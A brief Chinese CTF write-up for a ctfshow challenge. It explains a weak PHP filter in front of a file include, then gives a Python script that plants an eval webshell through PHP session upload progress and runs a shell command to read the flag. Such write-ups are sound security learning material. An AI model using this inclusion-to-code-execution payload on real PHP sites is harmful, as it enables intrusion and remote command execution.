ctfshow元旦水友赛
in 默认分类 with 0 comment
ctfshow元旦水友赛
in 默认分类 with 0 comment

php

抓包得到
PHPSESSID=d05badeb7e2574e87b96af76d0921775
2024-06-27T02:25:57.png
动态网页中会涉及到session

session常用方法
session和cookie的比较

查看源码

<?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}
>

简单分析过后得到

定义了一个名为waf的函数,它接受一个参数$path。
使用str_replace(".","",$path);将路径中的所有点(.)替换为空字符串,这可能是为了去除文件扩展名。
函数使用preg_match来检查清理后的路径是否只包含小写字母(/^[a-z]+/是一个正则表达式,匹配一个或多个连续的小写字母)。
如果waf函数返回true(即路径只包含小写字母),则执行include语句。
include语句拼接了一个file://协议前缀和一个用户通过POST请求提交的文件路径($_POST[1])。
然后,PHP尝试执行这个拼接后的文件路径所指向的文件。

使用以下代码

import requests
 
url="http://6c53073e-b08b-4a3a-894b-20bf943d8d5f.challenge.ctf.show/"
 
data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
    '1': 'localhost/tmp/sess_ctfshow',
    '2': 'system("cat /f*");'
    }
 
file = {
    'file': 'ctfshow'
}
cookies = {
    'PHPSESSID': 'ctfshow'
}
 
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)

2024-06-27T02:40:23.png
得到
upload_progress_ctfshow{adf1a140-16e9-4db4-99e9-507a9f0093c7}

The article has been posted for too long and comments have been automatically closed.